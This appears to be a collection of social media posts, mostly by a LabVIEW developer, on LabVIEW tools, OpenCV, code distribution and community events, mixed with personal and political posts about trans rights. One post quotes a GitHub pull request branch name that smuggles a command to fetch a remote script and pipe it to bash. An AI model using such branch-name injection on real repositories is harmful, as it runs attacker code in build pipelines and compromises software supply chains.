It brings lots of OpenCV's feature detection tools in like QR codes, OCR, Deep Neural Network and a wild number of Barcode formats thanks to ZXingC++ as well as the Open CV Calibration and Homography stuff. Did I mention it also has video encoding and decoding?
I realize I never dropped back in on my "introduction posts" to say that the Open Source toolkit that provides a native webcam driver for LabVIEW and makes building Augmented Reality applications about 9000 lines of C++ easier is released and available here!
www.vipm.io/package/sere...
We need a new job. We cannot do the mental gymnastics to stay in one that is antithetical to the existence of our friends, loved ones, wife and ourself any longer. Anyone know of a trans positive place looking for a LabVIEW architect and amazing test engineer? Maybe in state bordering Canada?
I have never really found the built in hierarchy tools especially useful on larger projects so a class viewer which provides more information over a basic class icon looks great
It would be really great if more people in the tech industry spoke up about what these technologies are doing to our planet. It was already in crisis before everyone got in a race to build data centers for AI.
Thanks @olivierjourdan.bsky.social for sharing.
Do come Join the LabVIEW Discord (if you haven't already) and submit your answer on the poll
discord.gg/XAuUj2DbMN
Carry on using the right toilets. And remind your friends and family voting in the local elections next week that this is Labour's policy and Labour extended the term of the bigot running the EHRC.
🧵NOT BY ME, this is a post from someone who wants to remain anonymous but works extensively with trans people pre-transition. They were asked by someone “why do you think that’s so much [coverage of trans people] in the news at the moment?”
This was their response:
valid every day but especially today: love & strength to trans pals, you don't deserve all this shit being flung in your direction, here's to hoping these freaks find a new obsession soon and you can live your lives peacefully and happily x
This episode is well worth a listen if you are in the UK or even Europe more broadly.
Pinning hopes of growth on extractive US companies does nothing to alleviate the pain folks experience everyday, handing future elections to the far right with their simple solutions to complex problems.
The replies to this, especially the photo evidence, are rad.
So cool to see a bunch of folks sharing their love for a FOSS project.
I totally get that and protobuf does seem like a smart alternative to "roll-your-own-funny-endian" LabVIEW string flattening and "loads of bytes over the wire" JSON
Looks cool and probably pretty useful - I was starting to wonder if you were going to bust out a full native LV gRPC implementation.
Did you have a use-case in mind? Not that you need to of course, I'm just curious.
Using quick drop and adding custom shortcuts up the wazoo helps but when I moved to doing LabVIEW full time, I changed to a drawing tablet to reduce wrist strain.
Some folks seem fine mousing for 8 hours straight, 5 days a week for years - I don't know how 🤷
I am currently wrestling with how to best distribute code in a nice modern way and absolutely feel this.
JKI are working on project dragon and there are other community efforts (www.vipm.io/package/feli...) but they still need some work from ni to get it over the line.
Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
absolutely incredible attack vector
Call for presentations are open for GDevConANZ #2
Are you passionate about test & measurement, data processing, or simply know something fascinating about LabVIEW that you'd like to share?
Submit a topic you'd like to present here:
gdevconanz.org.au/call-for-pre...
Using block-diagram clean-up more is helpful to encourage splitting code into smaller sub VIs that auto arrange better
Sometimes I would like to split code into a sub-VI but I have some non-typedef'd data type that I wouldn't want to pass into a subVI without it being a type-def but I really don't want to make it one.
I could make everything a .vim but then I would never get my code to compile
Depending on how complex your LV applications are, there isn't an obvious replacement.
Flojoy tried to position itself as an alternative but (last time I checked) it is a graphical-based means of combining python code chunks instead of a true data-flow driven language.
ni/emerson have brought perpetual licences back (although I am not sure of the cost).
Otherwise - some ni devices can be interfaced with via gRPC (mileage may vary) so accesible with many other languages or there is a python-daqmx option.
www.ni.com/en/shop/soft...
Hey @mubashariqbal.com please add: go.bsky.app/HK4gywE
The LabVIEW Wiki has a list of community discords - the main LabVIEW discord (first link) is probably the best place to chat with fellow devs who can get you unstuck
labviewwiki.org/wiki/LabVIEW...
Sorry - I am not sure I can give you an easy fix here.
This kind of deeply nested code structure can get unwieldy - it might be worth checking out the state machine pattern
www.ni.com/en/support/d...
And maybe the slightly more advanced event driven state machine www.youtube.com/watch?v=RuIN...
Wondering how to use Bluesky feeds, blocklists, and filters? Are you worried that Bluesky will inevitably turn evil? Are you wondering what the Alf thing is about, but are too afraid to ask?
I try to answer your questions here:
little-flying-robots.ghost.io/the-great-bl...
NI had a nice motion product but let it die a while ago.
Integrating 3rd party motion stuff can be a pain - running a software loop to monitor motor status kinda sucks so putting logic on the controller makes sense.
Solving a problem with a simple solution is always a win in my book 🎉
Big LabVIEW fan here but I completely understand it's not everyone's cup of tea.
Can you share what the problem was?
I haven't explicitly moved some numbers around on a CPU in decades (assuming that's what you are talking about) so I am incredibly intrigued.
People often say to refactor rather than rewrite but a good chunk of value in a software project is what the developers learned whilst creating it.
If they aren't around, sometimes the best thing is to do a (crime scene) investigation of what they left and start again with that knowledge.
Oooooft. Good luck.
